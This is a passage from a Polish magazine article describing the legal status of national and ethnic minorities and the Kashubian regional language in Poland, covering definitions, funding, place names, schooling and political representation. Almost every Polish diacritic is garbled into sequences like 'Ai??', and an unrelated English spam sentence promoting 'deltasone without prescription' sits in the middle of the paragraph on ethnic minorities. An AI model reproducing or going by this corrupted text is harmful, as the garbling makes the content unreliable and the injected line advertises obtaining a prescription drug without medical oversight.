Przegląd Powszechny

A A A

MniejszoAi??ci narodowe i etniczne w Polsce

komentarze

Jaki jest stan mniejszoAi??ci narodowych i etnicznych w Polsce? W jaki sposA?b paAi??stwo pomaga im zachowaAi?? kulturowAi?? toA?samoAi??Ai??? Czym jest jAi??zyk regionalny?

Podczas posiedzenia Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ, ktA?re odbyAi??o siAi?? 5 i 6 sierpnia 2009 r. w Genewie, jego czAi??onkowie wysoko ocenili realizacjAi?? przez PolskAi?? postanowieAi?? MiAi??dzynarodowej Konwencji w Sprawie Likwidacji Wszelkich Form Dyskryminacji Rasowej (CERD). W podsumowaniu zwrA?cili uwagAi??, A?e polskie rozwiAi??zania, m.in. w zakresie praw mniejszoAi??ci narodowych, mogAi?? byAi?? punktem odniesienia dla innych krajA?w. Ale jednoczeAi??nie w trakcie dyskusji wielu mA?wcA?w prosiAi??o o wyjaAi??nienie, dlaczego w Polsce uA?ywamy tak wielu terminA?w (ai??zmniejszoAi??ci narodoweai???, ai??zmniejszoAi??ci etniczneai???, ai??zjAi??zyk regionalnyai???) i co siAi?? za nimi kryje. AsledzAi??c toczAi??ce siAi?? w naszym kraju dyskusje na temat mniejszoAi??ci narodowych i etnicznych, dochodzAi?? do wniosku, A?e ta wieloAi??Ai?? terminologii stwarza problemy nie tylko, jak miaAi??o to miejsce w Genewie, specjalistom z Algierii, Brazylii czy Wielkiej Brytanii, ale takA?e osobom wypowiadajAi??cym siAi?? w tej sprawie na Ai??amach prasy polskiej. ZwAi??aszcza A?e jeden z wymienionych przeze mnie terminA?w (ai??zjAi??zyk regionalnyai???) zostaAi?? wprowadzony do polskiego porzAi??dku prawnego (a wiAi??c i do naszej Ai??wiadomoAi??ci) zaledwie cztery lata temu, po uchwaleniu ustawy z 6 stycznia 2005 r. o mniejszoAi??ciach narodowych i etnicznych oraz o jAi??zyku regionalnym.

Dwa terminy (ai??zmniejszoAi??Ai?? narodowaai??? i ai??zmniejszoAi??Ai?? etnicznaai???), ktA?rymi posAi??ugujemy siAi??, na gruncie miAi??dzynarodowym oznaczajAi?? to samo, czyli mniejszoAi??Ai?? narodowAi??. Trzeba zresztAi?? przyznaAi??, A?e wspomniana ustawa, szczegA?Ai??owo wyliczajAi??c, jakie warunki muszAi?? zostaAi?? speAi??nione, by danAi?? grupAi?? uznaAi?? za mniejszoAi??Ai?? narodowAi?? bAi??dA? etnicznAi??, wymienia tylko jednAi?? przesAi??ankAi??, ktA?ra je rA?A?nicuje. Zanim jednak przejdziemy do tego, co rA?A?ni mniejszoAi??ci narodowe i etniczne, odpowiedzmy sobie na pytanie: Jakie cechy powinna speAi??niaAi?? dana grupa, by moA?na jAi?? byAi??o uznaAi?? za mniejszoAi??Ai?? narodowAi?? lub etnicznAi??? Cechy te moA?na podzieliAi?? na obiektywne i subiektywne. SpecjaliAi??ci, w zaleA?noAi??ci od tego jakAi?? dyscyplinAi?? wiedzy reprezentujAi??, przykAi??adajAi?? wiAi??kszAi?? wagAi?? do tych pierwszych lub ostatnich. PrzykAi??adowo, historycy kAi??adAi?? nacisk na cechy obiektywne, socjologowie, zwAi??aszcza ostatnio ai??i?? na subiektywne. Wydaje siAi??, A?e polskiemu ustawodawcy udaAi??a siAi?? trudna sztuka zachowania rA?wnowagi miAi??dzy jednymi a drugimi. Cechy obiektywne, ktA?re muszAi?? zostaAi?? speAi??nione to: polskie obywatelstwo (zgodnie z art. 35 Konstytucji RP); pozostawanie w liczebnej mniejszoAi??ci w stosunku do pozostaAi??ej czAi??Ai??ci ludnoAi??ci RP; istotne odrA?A?nianie siAi?? od pozostaAi??ych obywateli jAi??zykiem, kulturAi?? lub tradycjAi??; zamieszkiwanie przez przodkA?w obecnego terytorium RP od co najmniej stu lat. Z kolei cechy subiektywne to: dAi??A?enie do zachowania swojego jAi??zyka, kultury lub tradycji oraz posiadanie Ai??wiadomoAi??ci wAi??asnej historycznej wspA?lnoty narodowej lub etnicznej i zmierzanie do jej wyraA?ania i ochrony.

Ta jedna jedyna cecha rA?A?nicujAi??ca mniejszoAi??ci narodowe i etniczne sprowadza siAi?? do istnienia bAi??dA? nieistnienia paAi??stwa, w ktA?re zorganizowany jest narA?d, z ktA?rym utoA?samia siAi?? dana grupa. JeA?eli paAi??stwo takie istnieje ai??i?? mamy do czynienia z mniejszoAi??ciAi?? narodowAi??. JeA?eli paAi??stwa takiego nie ma ai??i?? etnicznAi??. Tak wiAi??c, przykAi??adowo, mniejszoAi??ciAi?? narodowAi?? sAi?? Ormianie, a etnicznAi?? ai??i?? Tatarzy. In the infancy deltasone without prescription is of particular importance. W Ai??wietle definicji obowiAi??zujAi??cej w Polsce wszystkie pozostaAi??e cechy okreAi??lajAi??ce mniejszoAi??ci narodowe i etniczne sAi?? takie same. Takie same sAi?? teA? prawa przysAi??ugujAi??ce tym mniejszoAi??ciom. Gwoli Ai??cisAi??oAi??ci trzeba zauwaA?yAi??, A?e w ordynacji wyborczej do Sejmu mA?wi siAi?? jedynie o preferencjach wyborczych dla mniejszoAi??ci narodowych, pomijajAi??c etniczne. WAi??rA?d prawnikA?w toczy siAi?? spA?r, czy wspomniany przepis, mimo wszystko, obejmuje obydwie grupy, czy tylko jednAi?? z nich. PA?ki co pozostaje on sporem czysto teoretycznym, A?adna bowiem z mniejszoAi??ci etnicznych nie ma wielkich szans na skorzystanie z tego przepisu.

Polskie prawo jest chyba najbardziej precyzyjne, jeAi??li chodzi o okreAi??lenie mniejszoAi??ci narodowych. W prawodawstwach innych paAi??stw podaje siAi?? bowiem definicjAi?? lub wylicza mniejszoAi??ci. Polski ustawodawca zrobiAi?? i jedno, i drugie. Nie tylko bowiem precyzyjnie zapisaAi?? definicje, ale takA?e wyliczyAi?? grupy, ktA?re speAi??niajAi?? okreAi??lone w nich kryteria. Tym samym uniknAi??Ai?? pokusy kreowania rzeczywistoAi??ci. DziAi??ki takiemu sposobowi postAi??powania jako mniejszoAi??ci narodowe i etniczne zostaAi??y zapisane tylko te grupy, ktA?re speAi??niajAi?? okreAi??lone w ustawie kryteria. Innymi sAi??owy, w prawie polskim konkretne grupy zostaAi??y nie tyle uznane za mniejszoAi??ci, ile raczej zapisano w ustawie tylko te grupy, ktA?re speAi??niajAi?? wymienione kryteria. JednoczeAi??nie wymienienie konkretnych mniejszoAi??ci pozwala uniknAi??Ai?? sporA?w, ktA?rym grupom przysAi??ugujAi?? zapisane w ustawie prawa. Wydaje siAi?? teA?, A?e ustawa z 6 stycznia 2005 r. zapewniAi??a wzglAi??dnAi?? stabilnoAi??Ai?? w tak delikatnej materii, jak ta, ktA?rAi?? reguluje. UtrudniAi??a bowiem ewentualnemu przyszAi??emu kodyfikatorowi zbyt pochopne wprowadzanie zmian na liAi??cie mniejszoAi??ci. Obecnie bowiem nie wystarczy dopisanie lub wykreAi??lenie jakiejAi?? grupy z listy mniejszoAi??ci. Grupa taka musiaAi??aby bowiem ai??i?? w przypadku wpisania speAi??niaAi?? okreAi??lone w definicji warunki, a w przypadku wykreAi??lenia ai??i?? przestaAi?? im odpowiadaAi??. Jakie wiAi??c sAi?? w Polsce grupy, ktA?re obecnie speAi??niajAi?? ustawowe wymagania. W przypadku mniejszoAi??ci narodowych sAi?? to: BiaAi??orusini (47Ai??640 osA?b)[1]; Czesi (386 osA?b); Litwini (5639 osA?b); Niemcy (147Ai??094 osA?b); Ormianie (262 osoby); Rosjanie (3Ai??244 osoby); SAi??owacy (1710 osA?b); UkraiAi??cy (27Ai??172 osoby); Ai??ydzi (1055 osA?b).

Natomiast mniejszoAi??ci etniczne to: Karaimi (43 osoby); A?emkowie (5Ai??850 osA?b); Romowie (12Ai??731 osA?b); Tatarzy (447 osA?b).

Warto podkreAi??liAi??, A?e o ile w trakcie prac nad wspomnianAi?? ustawAi?? dyskusja na temat definicji mniejszoAi??ci narodowych i etnicznych toczyAi??a siAi?? przez kilka lat, o tyle lista mniejszoAi??ci narodowych i etnicznych nie budziAi??a kontrowersji. Pojawia siAi?? niekiedy pytanie, dlaczego ustawodawca nie uznaAi?? za mniejszoAi??Ai?? jakiejAi?? grupy. OtA?A? tylko dlatego, A?e nie speAi??nia ona ustawowych kryteriA?w.

Pada niekiedy zarzut, A?e paAi??stwo polskie wypowiada siAi?? w tak delikatnej kwestii jak Ai??wiadomoAi??Ai?? narodowa i etniczna swoich obywateli. I jest w tym daleko idAi??ce nieporozumienie. Polska bowiem przez swoje ustawodawstwo oraz praktyczne dziaAi??ania otacza szczegA?lnAi?? opiekAi?? oraz dystrybuuje Ai??rodki budA?etowe na rzecz wspierania toA?samoAi??ci kulturowej tych grup, ktA?re przez wieki, wspA?lnie z Polakami, budowaAi??y paAi??stwo polskie i ktA?rych kultura wzbogaca wspA?Ai??czesnoAi??Ai?? naszego paAi??stwa. Nie przeszkadza to, oczywiAi??cie, by takA?e inne grupy (regionalne, imigranckie) mogAi??y pielAi??gnowaAi?? swojAi?? kulturAi??.

I w tym miejscu dochodzimy do pytania o to, dlaczego nasza terminologia odbiega od terminologii miAi??dzynarodowej, mimo A?e w opinii ekspertA?w nasze rozwiAi??zania mogAi?? byAi?? uznawane za modelowe. WytAi??umaczeniem tego pozornego paradoksu jest tradycja wieloetnicznej Rzeczpospolitej, paAi??stwa tolerancji narodowoAi??ciowej i religijnej. Tradycja, ktA?rej wprawdzie nie zawsze byliAi??my wierni, ale ktA?ra znajduje potwierdzenie we wspA?Ai??czesnym polskim prawie.

Zdziwienie czAi??onkA?w Komitetu ds. Likwidacji Dyskryminacji Rasowej ONZ, w trakcie wspomnianego posiedzenia w Genewie, wzbudziAi??o jeszcze jedno zestawienie informacji. Jak to jest, pytali, A?e w Polsce, w ktA?rej mniejszoAi??ci narodowe stanowiAi?? zaledwie 1% obywateli, mniejszoAi??ci tych jest aA? 13, co jak na EuropAi?? lokuje nas wAi??rA?d krajA?w o najwyA?szej liczbie (choAi?? nie liczebnoAi??ci) mniejszoAi??ci. OdpowiedA? jest oczywiAi??cie wszystkim w Polsce znana. Warto jednak zwrA?ciAi?? uwagAi??, A?e choAi?? w wyniku II wojny Ai??wiatowej liczba osA?b naleA?Ai??cych do mniejszoAi??ci w Polsce dramatycznie zmalaAi??a, co przerwaAi??o szeAi??Ai??setletniAi?? tradycjAi?? wieloetnicznoAi??ci naszego paAi??stwa, to liczba mniejszoAi??ci w zasadzie nie ulegAi??a zmianie.

WspomniaAi??em na wstAi??pie o nowym w polskiej tradycji terminie ai??zjAi??zyk regionalnyai???. ZostaAi?? on wprowadzony do polskiego porzAi??dku prawnego na skutek poszukiwania najbardziej wAi??aAi??ciwej i adekwatnej do rzeczywistoAi??ci formy ochrony tych wartoAi??ci, ktA?re sAi?? najcenniejsze dla KaszubA?w. WiAi??kszoAi??Ai?? KaszubA?w ma polskAi?? Ai??wiadomoAi??Ai?? narodowAi??. Nic dziwnego wiAi??c, A?e wA?wczas, gdy na poczAi??tku lat dziewiAi??Ai??dziesiAi??tych posAi??owie pracujAi??cy nad ustawAi?? o mniejszoAi??ciach narodowych i etnicznych, Ai??wiadomi istnienia pewnej kaszubskiej odrAi??bnoAi??ci, pytali ich, czy sAi?? zainteresowani umieszczeniem w ustawie ai??i?? zainteresowania takiego nie wyrazili.

W ciAi??gu 10 lat sytuacja ulegAi??a jednak zmianie. ByAi?? to okres dynamicznego rozwoju nauczania jAi??zyka kaszubskiego w szkoAi??ach, a takA?e jego kodyfikacji. Nic wiAi??c dziwnego, A?e gdy na poczAi??tku obecnej dekady posAi??owie pracujAi??cy nad nowAi?? wersjAi?? ustawy o mniejszoAi??ciach narodowych i etnicznych ponownie zwrA?cili siAi?? do KaszubA?w, tym razem wyrazili oni zainteresowanie powstajAi??cym aktem prawnym. Sytuacja byAi??a bardziej sprzyjajAi??ca takA?e na forum miAi??dzynarodowym, bowiem Rada Europy opracowaAi??a i doprowadziAi??a do wejAi??cia w A?ycie Europejskiej Karty JAi??zykA?w Regionalnych lub MniejszoAi??ciowych. PosAi??owie i przedstawiciele Zrzeszenia Kaszubsko-Pomorskiego doszli do zgodnego wniosku, A?e ai??zjAi??zyk regionalnyai??? jest tym pojAi??ciem, ktA?re najlepiej oddaje sytuacjAi?? KaszubA?w. JednoczeAi??nie sami zainteresowani uznali, A?e zaspokojenie praw jAi??zykowych najpeAi??niej odpowiada ich aspiracjom. Jako A?e inspiracjAi?? byAi??a Europejska Karta JAi??zykA?w Regionalnych lub MniejszoAi??ciowych, siAi??gniAi??to do tej konwencji, by zaczerpnAi??Ai?? z niej definicjAi?? ai??zjAi??zyka regionalnegoai???.

Zgodnie z tAi?? definicjAi?? jAi??zykiem regionalnym jest jAi??zyk: tradycyjnie uA?ywany przez grupAi?? obywateli, ktA?ra jest mniej liczna od reszty ludnoAi??ci; rA?A?niAi??cy siAi?? od jAi??zyka oficjalnego; niebAi??dAi??cy dialektem jAi??zyka oficjalnego, ani jAi??zykiem migrantA?w.

Ta dosyAi?? ogA?lna definicja, w poAi??Ai??czeniu z definicjami mniejszoAi??ci narodowych i etnicznych, pozwala jednak na precyzyjne okreAi??lenie, jakie grupy oraz jAi??zyki podlegajAi?? szczegA?lnej ochronie ze strony paAi??stwa. WskazujAi?? one teA?, A?e tej szczegA?lnej ochronie nie podlegajAi?? migranci (wymA?g 100 lat) i ich jAi??zyki oraz grupy regionalne i dialekty jAi??zyka polskiego. Ustawodawca precyzyjnie zakreAi??liAi?? wiAi??c krAi??g podmiotA?w, podlegajAi??cych ochronie w Ai??wietle ustawy z 6 stycznia 2005 r.

Przede wszystkim dookreAi??liAi??, A?e jedynym jAi??zykiem regionalnym jest jAi??zyk kaszubski. NaleA?y przy tym pamiAi??taAi??, A?e choAi?? w Ai??wietle prawa polskiego i praktyki ochrona jAi??zyka kaszubskiego jest szeroka, to w przypadku mniejszoAi??ci narodowych i etnicznych ochronie podlega caAi??oAi??Ai?? zjawisk zwiAi??zanych z ich toA?samoAi??ciAi?? kulturowAi??, a w przypadku KaszubA?w ai??i?? tylko jAi??zyk. Ponadto, ustawodawca wykluczyAi?? moA?liwoAi??Ai?? ubiegania siAi?? o status jAi??zyka regionalnego dla gwar i dialektA?w. PrzykAi??adowo, gdyby o status taki dla gwary kurpiowskiej chcieli siAi?? ubiegaAi?? mieszkaAi??cy KadzidAi??a i MyszyAi??ca, wspomniany zapis bAi??dzie dla takiego przedsiAi??wziAi??cia znaczAi??cym utrudnieniem. Nie znaczy to, A?e dialekty nie podlegajAi?? A?adnej ochronie prawnej. OchronAi?? takAi?? przewiduje ustawa o jAi??zyku polskim, ktA?ra stwierdza, A?e ochrona jAi??zyka polskiego polega m.in. na upowszechnianiu szacunku dla regionalizmA?w i gwar, a takA?e przeciwdziaAi??aniu ich zanikowi.

Zdefiniowanie pojAi??Ai?? ai??zmniejszoAi??Ai?? narodowaai???, ai??zmniejszoAi??Ai?? etnicznaai??? oraz ai??zjAi??zyk regionalnyai??? byAi??o niezbAi??dne, by paAi??stwo polskie mogAi??o sprecyzowaAi??, jakie bierze na siebie zobowiAi??zania zwiAi??zane z podtrzymywaniem toA?samoAi??ci narodowej i etnicznej mniejszoAi??ci oraz rozwojem jAi??zyka regionalnego. Nie wystarczyAi??o bowiem, by paAi??stwo stwierdziAi??o, A?e sAi?? to wartoAi??ci, ktA?re zobowiAi??zuje siAi?? chroniAi??. NaleA?aAi??o jeszcze wskazaAi?? instrumenty, ktA?rymi bAi??dzie siAi?? posAi??ugiwaAi??, oraz okreAi??liAi?? Ai??rodki niezbAi??dne do realizacji tego celu. ZwAi??aszcza w przypadku okreAi??lenia wysokoAi??ci Ai??rodkA?w finansowych niezbAi??dne byAi??o okreAi??lenie dziaAi??aAi??, na ktA?re zostanAi?? one przeznaczone. W tym kontekAi??cie niedookreAi??lenie podmiotA?w, na rzecz ktA?rych przeznaczane bAi??dAi?? Ai??rodki finansowe, groziAi??oby nieuzasadnionym rozszerzaniem listy ubiegajAi??cych siAi?? o nie grup. W konsekwencji, w sytuacji zrozumiaAi??ych, ograniczonych moA?liwoAi??ci budA?etowych paAi??stwa, groziAi??oby to ograniczeniem Ai??rodkA?w dla rzeczywistych mniejszoAi??ci narodowych i etnicznych oraz utrudnieniem zachowania ich toA?samoAi??ci.

Zwykle gdy mA?wimy o instrumentach ochrony mniejszoAi??ci, mamy na myAi??li Ai??rodki finansowe przeznaczone na dotacje. I rzeczywiAi??cie, dziaAi??ania sAi??uA?Ai??ce zachowaniu toA?samoAi??ci mniejszoAi??ci oraz ochronie jAi??zyka regionalnego finansowane sAi?? przede wszystkim z budA?etu Ministra Spraw WewnAi??trznych i Administracji. SAi?? to rA?A?nego rodzaju imprezy organizacji pozarzAi??dowych (festyny, festiwale, koncerty, przedstawienia, jarmarki, zloty, imprezy okolicznoAi??ciowe i plenerowe), strony internetowe, wydawnictwa ksiAi??A?kowe i periodyczne (w latach dziewiAi??Ai??dziesiAi??tych przyjAi??to zasadAi??, A?e z budA?etu paAi??stwa finansowane jest przynajmniej jedno pismo dla mniejszoAi??ci, obecnie najwaA?niejszym donatorem niemal wszystkich takich pism ai??i?? a wiele mniejszoAi??ci wydaje ich po kilka ai??i?? jest Minister Spraw WewnAi??trznych i Administracji), audycje radiowe i telewizyjne (z tym, A?e dotacje z budA?etu Ministra Spraw WewnAi??trznych i Administracji przekazywane sAi?? na audycje w mediach komercyjnych, a audycje nadawane w mediach publicznych finansowane sAi?? przez te media), inwestycje budowlane (budowa i remont szkA?Ai?? i domA?w kultury) i niebudowlane (w szczegA?lnoAi??ci rA?A?nego rodzaju sprzAi??t) oraz dotacje podmiotowe (moA?liwoAi??Ai?? ich otrzymania majAi?? wyAi??Ai??cznie organizacje mniejszoAi??ci narodowych i etnicznych, organizacje kaszubskie oraz instytucje kulturalne majAi??ce istotne znaczenie dla kultury mniejszoAi??ci i jAi??zyka regionalnego). Od uchwalenia pierwszego budA?etu paAi??stwa, ktA?ry zostaAi?? przyjAi??ty po wejAi??ciu w A?ycie ustawy z 6 stycznia 2005 r., rokrocznie na dotacje przeznaczane sAi?? kwoty od 11 mln zAi?? w 2006 r. do 13 mln zAi?? w 2009 r. WczeAi??niej kwoty te wahaAi??y siAi?? miAi??dzy 5 a 6 mln zAi??.

NaleA?y jednak pamiAi??taAi??, A?e przekazywanie dotacji sAi??uA?Ai??cych zachowaniu mniejszoAi??ci i jAi??zyka regionalnego, to tylko jeden z kilku instrumentA?w, ktA?rymi dysponuje Minister Spraw WewnAi??trznych i Administracji oraz inne instytucje realizujAi??ce te same cele. PamiAi??tajAi??c o znaczeniu, jakie dla toA?samoAi??ci ma jAi??zyk, naleA?y wspomnieAi?? o kolejnych rozwiAi??zaniach wprowadzonych przez omawianAi?? ustawAi??. UmoA?liwia ona uA?ywanie obok urzAi??dowych nazw miejscowoAi??ci i obiektA?w fizjograficznych (nazw rzek, jezior, gA?r) oraz nazw ulic ai??i?? dodatkowych nazw w jAi??zyku mniejszoAi??ci. Dodatkowa nazwa w jAi??zyku mniejszoAi??ci moA?e byAi?? ustalona na wniosek rady gminy, jeA?eli liczba jej mieszkaAi??cA?w naleA?Ai??cych do mniejszoAi??ci jest nie mniejsza niA? 20% ogA?lnej liczby mieszkaAi??cA?w, albo gdy warunek ten nie zostaAi?? speAi??niony, ale za ustaleniem dodatkowej nazwy w jAi??zyku mniejszoAi??ci opowiedziaAi??a siAi?? w konsultacjach spoAi??ecznych ponad poAi??owa mieszkaAi??cA?w miejscowoAi??ci biorAi??cych udziaAi?? w konsultacjach. Dodatkowe nazwy mogAi?? byAi?? uA?ywane tylko w gminach wpisanych do specjalnego rejestru prowadzonego przez Ministra Spraw WewnAi??trznych i Administracji.

Dotychczas do wspomnianego rejestru zostaAi??o wpisanych 21 gmin, z tego 16 gmin z terenu wojewA?dztwa opolskiego (w ktA?rych ustalono dodatkowe nazwy w jAi??zyku niemieckim), jedna gmina w wojewA?dztwie Ai??lAi??skim (rA?wnieA? z dodatkowymi nazwami w jAi??zyku niemieckim), dwie gminy w wojewA?dztwie pomorskim (z dodatkowymi nazwami w jAi??zyku kaszubskim), jedna gmina w wojewA?dztwie podlaskim (z dodatkowymi nazwami w jAi??zyku litewskim) i jedna gmina w wojewA?dztwie maAi??opolskim (z dodatkowymi nazwami w jAi??zyku Ai??emkowskim). A?Ai??cznie w jAi??zykach niemieckim, kaszubskim, litewskim i Ai??emkowskim, ustalono 314 dodatkowych nazw miejscowoAi??ci. Tablice z ich dodatkowymi nazwami stanAi??Ai??y juA? w 14 gminach. Asrodki na ich wymianAi?? przekazywane sAi?? z budA?etu Ministra Spraw WewnAi??trznych i Administracji.

W gminach, w ktA?rych liczba mieszkaAi??cA?w naleA?Ai??cych do mniejszoAi??ci jest nie mniejsza niA? 20% ogA?lnej liczby mieszkaAi??cA?w, ustawa dopuszcza moA?liwoAi??Ai?? stosowania jAi??zykA?w mniejszoAi??ci jako jAi??zykA?w pomocniczych. Daje to osobom naleA?Ai??cym do mniejszoAi??ci prawo do zwracania siAi?? do organA?w gminy w jAi??zyku pomocniczym w formie pisemnej lub ustnej i na wyraA?ne A?yczenie uzyskiwania od nich odpowiedzi w tym jAi??zyku. TakA?e w tym przypadku uA?ywanie jAi??zykA?w pomocniczych moA?liwe jest dopiero po wpisaniu gminy do rejestru, innego wprawdzie, ale rA?wnieA? prowadzonego przez Ministra Spraw WewnAi??trznych i Administracji. Znajduje siAi?? w nim obecnie 28 gmin. W 22 z nich, poAi??oA?onych w wojewA?dztwie opolskim, jAi??zykiem pomocniczym jest jAi??zyk niemiecki; w trzech, znajdujAi??cych siAi?? w wojewA?dztwie podlaskim ai??i?? jAi??zyk biaAi??oruski; w dwA?ch, z terenu wojewA?dztwa pomorskiego ai??i?? jAi??zyk kaszubski; w jednej, poAi??oA?onej w wojewA?dztwie podlaskim ai??i?? jAi??zyk litewski.

MA?wiAi??c o prawach jAi??zykowych, naleA?y takA?e wspomnieAi?? o prawie do pisowni i uA?ywania swoich imion i nazwisk zgodnie z zasadami pisowni jAi??zykA?w mniejszoAi??ci oraz jAi??zyka regionalnego, w szczegA?lnoAi??ci do ich rejestracji w aktach stanu cywilnego i w dokumentach toA?samoAi??ci. Warto takA?e pamiAi??taAi?? o rozporzAi??dzeniu Ministra Spraw WewnAi??trznych i Administracji z 18 marca 2002 r., na podstawie ktA?rego wAi??miejscowoAi??ciach, w ktA?rych wystAi??pujAi?? zwarte Ai??rodowiska mniejszoAi??ci narodowych lub etnicznych, nazwom i tekstom w jAi??zyku polskim mogAi?? towarzyszyAi?? wersje wAi??przekAi??adzie na jAi??zyk mniejszoAi??ci.

Niezwykle waA?ne znaczenie w zachowywaniu toA?samoAi??ci narodowej i etnicznej mniejszoAi??ci oraz ochrony jAi??zyka regionalnego ma oAi??wiata. Polski system edukacji przewiduje moA?liwoAi??Ai?? nauczania zarA?wno jAi??zyka, jak i w jAi??zyku mniejszoAi??ci. Uczniowie naleA?Ai??cy do mniejszoAi??ci majAi?? do wyboru, w zaleA?noAi??ci od potrzeb i istniejAi??cych warunkA?w, moA?liwoAi??Ai?? uczenia siAi?? w jAi??zyku ojczystym wszystkich przedmiotA?w, z wyjAi??tkiem jAi??zyka polskiego oraz historii i geografii Polski (ten model wybrali uczniowie litewscy); w szkoAi??ach lub oddziaAi??ach dwujAi??zycznych (ten model nie jest popularny, choAi?? prA?by jego wprowadzenia podejmujAi?? przedstawiciele mniejszoAi??ci niemieckiej); jAi??zyka ojczystego jako odrAi??bnego przedmiotu (ten model jest najbardziej popularny, wykorzystujAi?? go wszystkie mniejszoAi??ci, ktA?rych jAi??zyk jest nauczany w polskim szkolnictwie); w zespoAi??ach miAi??dzyszkolnych (ten model jest wykorzystywany w przypadku rozproszenia mniejszoAi??ci, np. przez UkraiAi??cA?w).

Polski system edukacji stwarza wiele uAi??atwieAi?? sprzyjajAi??cych uczeniu siAi?? jAi??zyka ojczystego. Minister Edukacji Narodowej finansuje programy i podrAi??czniki dla uczniA?w korzystajAi??cych z tej moA?liwoAi??ci. Klasy mniejszoAi??ciowe mogAi?? byAi?? mniej liczne od pozostaAi??ych. SprzyjajAi??cy jest takA?e system finansowania takich klas; gminy, w ktA?rych one istniejAi?? otrzymujAi?? subwencjAi?? oAi??wiatowAi?? zwiAi??kszonAi?? o 20% w przypadku wiAi??kszych szkA?Ai?? i aA? o 150% w przypadku mniejszych. Nauka jAi??zyka ojczystego mniejszoAi??ci oraz jAi??zyka regionalnego moA?liwa jest od przedszkola poczynajAi??c, aA? po egzamin maturalny. MA?wiAi??c o wsparciu ze strony paAi??stwa, naleA?y wspomnieAi?? o strategiach rozwoju oAi??wiaty, ktA?re zostaAi??y juA? opracowane dla mniejszoAi??ci litewskiej i niemieckiej, a obecnie opracowywane sAi?? dla kolejnych mniejszoAi??ci. Dokumenty te opracowaAi??y Ministerstwo Edukacji Narodowej oraz Ministerstwo Spraw WewnAi??trznych i Administracji, w porozumieniu z organizacjami pozarzAi??dowymi mniejszoAi??ci, a w przypadku strategii litewskiej takA?e jednostkami samorzAi??du terytorialnego.

Z moA?liwoAi??ci, jakie stwarza polski system oAi??wiaty korzysta 8 mniejszoAi??ci narodowych i etnicznych oraz Kaszubi. W roku szkolnym 2008/2009: w 534 placA?wkach jAi??zyka niemieckiego jako ojczystego uczyAi??o siAi?? 38Ai??269 uczniA?w; jAi??zyka kaszubskiego ai??i?? w 237 placA?wkach, 8518 uczniA?w; jAi??zyka biaAi??oruskiego ai??i?? w 47 placA?wkach, 3Ai??409 uczniA?w; jAi??zyka ukraiAi??skiego ai??i?? w 179 placA?wkach, 2483 uczniA?w; jAi??zyka litewskiego ai??i?? w 19 placA?wkach, 687 uczniA?w; jAi??zyka Ai??emkowskiego ai??i?? w 44 placA?wkach, 311 uczniA?w; jAi??zyka hebrajskiego ai??i?? w 6 placA?wkach, 296 uczniA?w; jAi??zyka sAi??owackiego ai??i?? w 13 placA?wkach, 273 uczniA?w; jAi??zyka ormiaAi??skiego ai??i?? w 1 placA?wce, 16 uczniA?w.

Elementy jAi??zyka romskiego wprowadzane sAi?? w przedszkolu w Czarnej GA?rze w wojewA?dztwie maAi??opolskim i w niepublicznej szkole w SuwaAi??kach, a elementy jAi??zyka czeskiego w przedszkolu w Zelowie. Brak jest natomiast nauczania jako jAi??zykA?w mniejszoAi??ci, jAi??zykA?w: tatarskiego, karaimskiego i rosyjskiego. Tego pierwszego z uwagi na zanik jego znajomoAi??ci wAi??rA?d samych TatarA?w, tego drugiego ze wzglAi??du na zbyt maAi??Ai?? liczebnoAi??Ai?? KaraimA?w, a ostatniego z powodu rozpowszechnienia rosyjskiego jako jAi??zyka obcego.

Kolejny element zwiAi??zany z zachowaniem toA?samoAi??ci kulturowej mniejszoAi??ci oraz ochronAi?? jAi??zyka regionalnego ai??i?? to udziaAi?? mniejszoAi??ci w A?yciu publicznym. Zgodnie z ordynacjAi?? wyborczAi?? do Sejmu, komitetA?w wyborczych organizacji mniejszoAi??ci narodowych nie obowiAi??zujAi?? progi wyborcze. Z preferencji tych, jak do tej pory, udawaAi??o siAi?? skorzystaAi?? jedynie przedstawicielom mniejszoAi??ci niemieckiej, ktA?rzy zasiadajAi?? w Sejmie nieprzerwanie od 1990 r. Pozostali posAi??owie reprezentujAi??cy mniejszoAi??ci wchodzili do parlamentu jako przedstawiciele ogA?lnopolskich partii politycznych. Obecnie w Sejmie, jako przedstawiciele partii ogA?lnopolskich, zasiadajAi?? reprezentanci mniejszoAi??ci ukraiAi??skiej i biaAi??oruskiej oraz Kaszubi.

WaA?ny z punktu widzenia mniejszoAi??ci jest ich udziaAi?? w samorzAi??dach. MniejszoAi??Ai?? niemiecka tradycyjnie od wielu lat wchodzi w skAi??ad koalicji rzAi??dzAi??cej w wojewA?dztwie opolskim oraz do samorzAi??dA?w niA?szego szczebla w obu wojewA?dztwach GA?rnego AslAi??ska. MniejszoAi??Ai?? biaAi??oruska jest obecna we wAi??adzach powiatA?w i gmin poAi??udniowej czAi??Ai??ci wojewA?dztwa podlaskiego oraz sejmiku tego wojewA?dztwa. Polem aktywnoAi??ci mniejszoAi??ci ukraiAi??skiej jest wojewA?dztwo warmiAi??sko-mazurskie, KaszubA?w ai??i?? pomorskie, a mniejszoAi??ci Ai??emkowskiej ai??i?? gminy i powiaty maAi??opolskiej czAi??Ai??ci Beskidu Niskiego. MniejszoAi??Ai?? litewska dominuje we wAi??adzach samorzAi??dowych PuAi??ska, a w powiecie sejneAi??skim, zgodnie z niepisanAi?? umowAi??, jej przedstawiciel piastuje stanowisko wicestarosty.

IstotnAi?? instytucjAi??, z punktu widzenia udziaAi??u mniejszoAi??ci w A?yciu publicznym, powoAi??aAi??a ustawa z 6 stycznia 2005 r. Komisja WspA?lna RzAi??du i MniejszoAi??ci Narodowych i Etnicznych, o ktA?rej mowa powyA?ej, jest organem opiniodawczo-doradczym Prezesa Rady MinistrA?w. Do kompetencji Komisji WspA?lnej naleA?y m.in. opiniowanie projektA?w aktA?w prawnych dotyczAi??cych mniejszoAi??ci oraz wysokoAi??ci i zasad podziaAi??u Ai??rodkA?w budA?etowych przeznaczonych na ochronAi?? ich toA?samoAi??ci oraz jAi??zyka. Komisja WspA?lna formuAi??uje takA?e propozycje dotyczAi??ce zapewnienia realizacji praw i potrzeb mniejszoAi??ci. W jej skAi??ad wchodzAi??, na rA?wnych prawach, przedstawiciele administracji rzAi??dowej oraz mniejszoAi??ci i spoAi??ecznoAi??ci kaszubskiej, przy czym wiAi??kszym wspA?lnotom (Niemcom, Kaszubom, BiaAi??orusinom, UkraiAi??com, Romom, Litwinom A?emkom) przysAi??ugujAi?? dwa mandaty, pozostaAi??ym ai??i?? po jednym. Komisja WspA?lna ma dwA?ch rA?wnorzAi??dnych 